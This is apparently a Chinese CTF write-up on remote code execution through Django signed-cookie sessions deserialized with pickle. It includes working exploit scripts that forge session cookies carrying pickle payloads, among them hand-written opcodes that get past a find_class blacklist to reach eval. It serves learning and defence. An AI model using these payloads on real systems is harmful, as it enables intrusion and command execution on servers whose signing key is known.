漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 数据库后端(django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。

  2. 缓存后端(django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。

  3. 文件系统后端(django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。

  4. 签名Cookie后端(django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。

  5. 缓存数据库后端(django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. ‘django.contrib.sessions.serializers.JSONSerializer’:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。

  2. ‘django.contrib.sessions.serializers.PickleSerializer’:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):  """   Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is   None, use settings.SECRET_KEY instead.​   If compress is True (not the default), check if compressing using zlib can   save some space. Prepend a '.' to signify compression. This is included   in the signature, to protect against zip bombs.​   Salt can be used to namespace the hash, so that a signed string is   only valid for a given namespace. Leaving this at the default   value or re-using a salt value across different parts of your   application without good cause is a security risk.​   The serializer is expected to return a bytestring.   """  data = serializer().dumps(obj)      # 使用选定的类进行序列化​  # Flag for if it's been compressed or not  is_compressed = False      # 数据压缩处理  if compress:    # Avoid zlib dependency unless compress is being used    compressed = zlib.compress(data)    if len(compressed) < (len(data) - 1):      data = compressed      is_compressed = True  base64d = b64_encode(data).decode()         # base64编码 decode转化成字符串  if is_compressed:    base64d = '.' + base64d  return TimestampSigner(key, salt=salt).sign(base64d)    # 返回一个签名值​​# loads的过程为dumps的逆过程def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):  """   Reverse of dumps(), raise BadSignature if signature fails.​   The serializer is expected to accept a bytestring.   """  # TimestampSigner.unsign() returns str but base64 and zlib compression  # operate on bytes.  base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()  decompress = base64d[:1] == b'.'  if decompress:    # It's compressed; uncompress it first    base64d = base64d[1:]  data = b64_decode(base64d)  if decompress:    data = zlib.decompress(data)  return serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class Signer:​  def __init__(self, key=None, sep=':', salt=None):    # Use of native strings in all versions of Python    self.key = key or settings.SECRET_KEY   # key默认为settings中的配置项               self.sep = sep    if _SEP_UNSAFE.match(self.sep):      raise ValueError(        'Unsafe Signer separator: %r (cannot be empty or consist of '        'only A-z0-9-_=)' % sep,       )    self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)​  def signature(self, value):    # 利用salt、value、key做一次签名    return base64_hmac(self.salt + 'signer', value, self.key)​  def sign(self, value):    return '%s%s%s' % (value, self.sep, self.signature(value))​  def unsign(self, signed_value):    if self.sep not in signed_value:      raise BadSignature('No "%s" found in value' % self.sep)    value, sig = signed_value.rsplit(self.sep, 1)    if constant_time_compare(sig, self.signature(value)):      return value    raise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):​  def timestamp(self):    return baseconv.base62.encode(int(time.time()))​  def sign(self, value):    value = '%s%s%s' % (value, self.sep, self.timestamp())    return super().sign(value)​  def unsign(self, value, max_age=None):    """     Retrieve original value and check it wasn't signed more     than max_age seconds ago.     """    result = super().unsign(value)    value, timestamp = result.rsplit(self.sep, 1)    timestamp = baseconv.base62.decode(timestamp)    if max_age is not None:      if isinstance(max_age, datetime.timedelta):        max_age = max_age.total_seconds()      # Check timestamp is not older than max_age      age = time.time() - timestamp      if age > max_age:        raise SignatureExpired(          'Signature age %s > %s seconds' % (age, max_age))    return value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

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老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

随后调用Django auth模块下的get_user函数和_get_user_session_key函数

随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

漏洞利用

首先利用条件如下:

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import osimport django.core.signingimport requests​​# from Django.contrib.sessions.serializers.PickleSerializerimport pickleclass PickleSerializer:  """   Simple wrapper around pickle to be used in signing.dumps and   signing.loads.   """  protocol = pickle.HIGHEST_PROTOCOL​  def dumps(self, obj):    return pickle.dumps(obj, self.protocol)​  def loads(self, data):    return pickle.loads(data)​​SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'salt = "django.contrib.sessions.backends.signed_cookies"​class exp():  def __reduce__(self):    # 返回一个callable 及其参数的元组    return os.system, (('calc.exe'),)​_exp = exp()cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)print(cookie_opcodes)​resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import pickleimport ioimport builtins​__all__ = ('PickleSerializer', )​​class RestrictedUnpickler(pickle.Unpickler):  blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}​  def find_class(self, module, name):     # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法    # Only allow safe classes from builtins.    if module == "builtins" and name not in self.blacklist:    # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内      return getattr(builtins, name)    # Forbid everything else.    raise pickle.UnpicklingError("global '%s.%s' is forbidden" %                   (module, name))​​class PickleSerializer():  def dumps(self, obj):    return pickle.dumps(obj)​  def loads(self, data):    try:      # 校验data是否为字符串      if isinstance(data, str):        raise TypeError("Can't load pickle from unicode string")      file = io.BytesIO(data)           # 读取data      return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()    except Exception as e:      return {}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class Person:   def __init__(self, name):     self.name = name​# 获取对象属性值person = Person("Alice")name = getattr(person, "name")print(name)​# 调用对象方法a = getattr(builtins, "eval")a("print(1+1)")​​# 可以设置default值age = getattr(person, "age", 30)print(age)​builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')     # GLOBAL为导入dict = GLOBAL('builtins', 'dict')       dict_get = getattr(dict, 'get')globals = GLOBAL('builtins', 'globals')builtins = globals()                __builtins__ = dict_get(builtins, '__builtins__')           # 获取真正的__builtins__eval = getattr(__builtins__, 'eval')eval('__import__("os").system("calc.exe")')return

查看Django.core.signing模块,复刻sign写exp

from django.core import signingimport pickleimport ioimport builtinsimport zlibimport base64​PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'​SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"salt = "django.contrib.sessions.backends.signed_cookies"​​def b64_encode(s):  return base64.urlsafe_b64encode(s).strip(b"=")​base64d = b64_encode(PayloadToBeEncoded).decode()​def exp(key, payload):  global salt  # Flag for if it's been compressed or not.  is_compressed = False  compress = False  if compress:    # Avoid zlib dependency unless compress is being used.    compressed = zlib.compress(payload)    if len(compressed) < (len(payload) - 1):      payload = compressed      is_compressed = True  base64d = b64_encode(payload).decode()  if is_compressed:    base64d = "." + base64d  session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)  print(session)

然后传session即可。

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